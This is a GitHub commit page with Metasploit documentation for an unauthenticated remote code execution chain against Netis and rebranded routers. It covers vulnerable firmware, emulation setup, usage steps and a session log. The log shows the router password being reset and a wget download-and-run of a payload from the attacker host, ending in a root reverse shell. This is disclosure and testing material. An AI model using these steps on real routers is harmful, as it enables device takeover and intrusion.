Skip to content

Commit 0ff2835

Browse files
jheysel-r7jheysel-r7
authored
Merge pull request rapid7#19770 from h00die-gr3y/netis-unauth-rce
Netis Router Exploit Chain Reactor [CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457]
2 parents d560a32 + 0c723b8 commit 0ff2835

File tree

2 files changed

+526
-0
lines changed

2 files changed

+526
-0
lines changed

‎documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md‎

Lines changed: 289 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,289 @@
1+
## Vulnerable Application
2+
Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection vulnerability at the change
3+
password page of the router web interface (see [CVE-2024-48456](https://www.cve.org/CVERecord?id=CVE-2024-48456) for more details).
4+
The vulnerability stems from improper handling of the password and new password parameter within the router's web interface.
5+
Attackers can inject a command in the password or new password parameter, encoded in base64, to exploit the command injection
6+
vulnerability.
7+
When exploited, this can lead to command execution, potentially allowing the attacker to take full control of the router.
8+
An attacker needs to be authenticated to initiate this RCE, however [CVE-2024-48457](https://www.cve.org/CVERecord?id=CVE-2024-48457)
9+
allows an unauthenticated attacker to reset the Wifi and router password, hence gaining full root access to the router to execute
10+
the RCE.
11+
12+
Last but not least, [CVE-2024-48455](https://www.cve.org/CVERecord?id=CVE-2024-48455) allows for unauthenticated information disclosure
13+
revealing sensitive configuration information of the router which can be used by the attacker to determine if the router is running
14+
specific vulnerable firmware.
15+
16+
The following router firmware versions are vulnerable:
17+
18+
- [x] netis_MW5360_V1.0.1.3031_fw.bin
19+
- [x] Netis_MW5360-1.0.1.3442.bin
20+
- [x] Netis_MW5360_RUSSIA_844.bin
21+
- [x] netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
22+
- [x] netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
23+
- [x] netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
24+
- [x] Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
25+
- [x] netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
26+
- [x] netis_NC65_V3.0.0.3749.bin
27+
- [x] Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
28+
- [x] Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
29+
- [x] netis_NX10_V2.0.1.3582_fw.bin
30+
- [x] netis_NX10_V2.0.1.3643.bin
31+
- [x] Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
32+
- [x] netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
33+
- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
34+
- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
35+
- [x] Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
36+
- [x] GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
37+
38+
and potentially others...
39+
40+
## Installation
41+
Ideally, to test this module, you would need a vulnerable Netis Router device.
42+
However, by downloading the firmware and install and use `FirmAE` to emulate the router,
43+
we can simulate the router and test the vulnerable endpoint.
44+
45+
### Installation steps to emulate the router firmware with FirmAE
46+
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
47+
* To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem.
48+
* This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
49+
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
50+
* Download the vulnerable firmware from Netis or from one of the other brands like GLCtec or Stonet.
51+
* We will pick `GLC_ALPHA_AC3-V3.0.2.115.bin` for the demonstration.
52+
* Start emulation.
53+
* First run `./init.sh` to initialize and start the Postgress database.
54+
* Start a debug session `./run.sh -d Netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin`
55+
* This will take a while, but in the end you should see the following...
56+
```shell
57+
# ./run.sh -d netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin
58+
[*] /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin emulation start!!!
59+
[*] extract done!!!
60+
[*] get architecture done!!!
61+
mke2fs 1.47.0 (5-Feb-2023)
62+
e2fsck 1.47.0 (5-Feb-2023)
63+
[*] infer network start!!!
64+
[IID] 15
65+
[MODE] debug
66+
[+] Network reachable on 192.168.1.254!
67+
[+] Web service on 192.168.1.254
68+
[+] Run debug!
69+
Creating TAP device tap15_0...
70+
Set 'tap15_0' persistent and owned by uid 0
71+
Bringing up TAP device...
72+
Starting emulation of firmware... 192.168.1.254 true true 79.316641060 186.772281412
73+
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
74+
import telnetlib
75+
[*] firmware - GLC_ALPHA_AC3-V3.0.2.115
76+
[*] IP - 192.168.1.254
77+
[*] connecting to netcat (192.168.1.254:31337)
78+
[+] netcat connected
79+
------------------------------
80+
| FirmAE Debugger |
81+
------------------------------
82+
1. connect to socat
83+
2. connect to shell
84+
3. tcpdump
85+
4. run gdbserver
86+
5. file transfer
87+
6. exit
88+
```
89+
* check if you can `ping` the emulated router and run `nmap` to check the ports
90+
```shell
91+
# ping 192.168.1.254
92+
PING 192.168.1.254 (192.168.1.254) 56(84) bytes of data.
93+
64 bytes from 192.168.1.254: icmp_seq=1 ttl=64 time=11.7 ms
94+
64 bytes from 192.168.1.254: icmp_seq=2 ttl=64 time=4.93 ms
95+
64 bytes from 192.168.1.254: icmp_seq=3 ttl=64 time=1.30 ms
96+
^C
97+
--- 192.168.1.254 ping statistics ---
98+
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
99+
rtt min/avg/max/mdev = 1.297/5.979/11.713/4.316 ms
100+
# nmap 192.168.1.254
101+
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 19:39 UTC
102+
Nmap scan report for 192.168.1.254
103+
Host is up (0.020s latency).
104+
Not shown: 996 closed tcp ports (reset)
105+
PORT STATE SERVICE
106+
22/tcp open ssh
107+
53/tcp open domain
108+
80/tcp open http
109+
443/tcp open https
110+
MAC Address: 00:E0:4C:81:96:C1 (Realtek Semiconductor)
111+
112+
Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds
113+
```
114+
You are now ready to test the module using the emulated router hardware on IP address 192.168.1.254
115+
116+
## Verification Steps
117+
- [x] Start `msfconsole`
118+
- [x] `use exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457`
119+
- [x] `set rhosts <ip-target>`
120+
- [x] `set lhost <ip-attacker>`
121+
- [x] `set target <0=Linux Dropper>`
122+
- [x] `exploit`
123+
124+
you should get a `Meterpreter` session.
125+
126+
```msf
127+
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > info
128+
129+
Name: Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457).
130+
Module: exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457
131+
Platform: Linux
132+
Arch: mipsle
133+
Privileged: Yes
134+
License: Metasploit Framework License (BSD)
135+
Rank: Excellent
136+
Disclosed: 2024-12-27
137+
138+
Provided by:
139+
h00die-gr3y <[email protected]>
140+
141+
Module side effects:
142+
ioc-in-logs
143+
artifacts-on-disk
144+
145+
Module stability:
146+
crash-safe
147+
148+
Module reliability:
149+
repeatable-session
150+
151+
Available targets:
152+
Id Name
153+
-- ----
154+
=> 0 Linux Dropper
155+
156+
Check supported:
157+
Yes
158+
159+
Basic options:
160+
Name Current Setting Required Description
161+
---- --------------- -------- -----------
162+
CMD_DELAY 30 yes Delay in seconds between payload commands to avoid locking
163+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
164+
RHOSTS 192.168.1.254 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
165+
s/using-metasploit.html
166+
RPORT 80 yes The target port (TCP)
167+
SSL false no Negotiate SSL/TLS for outgoing connections
168+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
169+
TARGETURI / yes The Netis router endpoint URL
170+
URIPATH no The URI to use for this exploit (default is random)
171+
VHOST no HTTP server virtual host
172+
173+
174+
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
175+
176+
Name Current Setting Required Description
177+
---- --------------- -------- -----------
178+
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the
179+
local machine or 0.0.0.0 to listen on all addresses.
180+
SRVPORT 1981 yes The local port to listen on.
181+
182+
Payload information:
183+
184+
Description:
185+
Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection
186+
vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details).
187+
The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the
188+
router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter,
189+
encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to
190+
command execution, potentially allowing the attacker to take full control of the router.
191+
An attacker needs to be authenticated to initiate this RCE, however CVE-2024-48457 allows an unauthenticated
192+
attacker to reset the Wifi and router password, hence gaining full admin access to the router to execute the RCE.
193+
194+
Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration
195+
information of the router which can be used by the attacker to determine if the router is running specific vulnerable
196+
firmware.
197+
198+
The following router firmware versions are vulnerable:
199+
* netis_MW5360_V1.0.1.3031_fw.bin
200+
* Netis_MW5360-1.0.1.3442.bin
201+
* Netis_MW5360_RUSSIA_844.bin
202+
* netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
203+
* netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
204+
* netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
205+
* Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
206+
* netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
207+
* netis_NC65_V3.0.0.3749.bin
208+
* Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
209+
* Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
210+
* netis_NX10_V2.0.1.3582_fw.bin
211+
* netis_NX10_V2.0.1.3643.bin
212+
* Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
213+
* netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
214+
* netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
215+
* netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
216+
* Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
217+
* GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
218+
* potentially others...
219+
220+
References:
221+
https://nvd.nist.gov/vuln/detail/CVE-2024-48455
222+
https://nvd.nist.gov/vuln/detail/CVE-2024-48456
223+
https://nvd.nist.gov/vuln/detail/CVE-2024-48457
224+
https://github.com/users/h00die-gr3y/projects/1
225+
226+
View the full module info with the info -d command.
227+
```
228+
## Options
229+
### CMD_DELAY
230+
Chained command lines using `;` do not work, so each command need to be executed in a separate request
231+
with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option.
232+
233+
## Scenarios
234+
### GLCtec ALPHA-AC3 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp
235+
```msf
236+
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > rexploit
237+
[*] Reloading module...
238+
[*] Started reverse TCP handler on 192.168.1.253:4444
239+
[*] Running automatic check ("set AutoCheck false" to disable)
240+
[*] Checking if 192.168.1.254:80 can be exploited.
241+
[+] The target appears to be vulnerable. GLC(ALPHA-AC3)-V3.0.2.115
242+
[*] Resetting router password for authentication.
243+
[*] Logging in with the new router password 4vNcez42D to get the password cookie.
244+
[*] Saving router credentials (root) at the msf database.
245+
[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp
246+
[*] Using URL: http://192.168.1.253:1981/ZhIplAe6jD9O7J
247+
[*] Executing wget -qO /tmp/hMvelDeE http://192.168.1.253:1981/ZhIplAe6jD9O7J
248+
[*] Client 192.168.1.254 (Wget) requested /ZhIplAe6jD9O7J
249+
[*] Sending payload to 192.168.1.254 (Wget)
250+
[*] Command Stager progress - 53.85% done (63/117 bytes)
251+
[*] Executing chmod +x /tmp/hMvelDeE
252+
[*] Command Stager progress - 72.65% done (85/117 bytes)
253+
[*] Executing /tmp/hMvelDeE
254+
[+] Deleted /tmp/hMvelDeE
255+
[*] Meterpreter session 7 opened (192.168.1.253:4444 -> 192.168.1.254:54551) at 2024-12-29 11:28:49 +0000
256+
[*] Command Stager progress - 83.76% done (98/117 bytes)
257+
[*] Command Stager progress - 100.00% done (117/117 bytes)
258+
[*] Server stopped.
259+
260+
meterpreter > getuid
261+
Server username: root
262+
meterpreter > sysinfo
263+
Computer : 192.168.1.254
264+
OS : (Linux 3.10.90)
265+
Architecture : mips
266+
BuildTuple : mipsel-linux-muslsf
267+
Meterpreter : mipsle/linux
268+
meterpreter > pwd
269+
/etc/boa
270+
meterpreter > ls
271+
Listing: /etc/boa
272+
=================
273+
274+
Mode Size Type Last modified Name
275+
---- ---- ---- ------------- ----
276+
100755/rwxr-xr-x 9581 fil 2024-03-04 09:22:46 +0000 boa.conf
277+
100755/rwxr-xr-x 2118 fil 2024-03-04 09:22:46 +0000 mime.types
278+
279+
meterpreter >
280+
```
281+
## Limitations
282+
Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target.
283+
Another limitation is that the router has a very limited command set that can be leveraged,
284+
so the only option is to use the `wget` command to drop an executable on the target to get a session.
285+
Chained command lines using `;` do not work, so each command need to be executed in a separate request
286+
with a delay of 30 seconds or more to avoid session locking (see the `CMD_DELAY` option).
287+
288+
Last but not least, be mindful that the admin router password gets overwritten by the exploit,
289+
resulting in a clear indicator of compromise.

0 commit comments

Comments
 (0)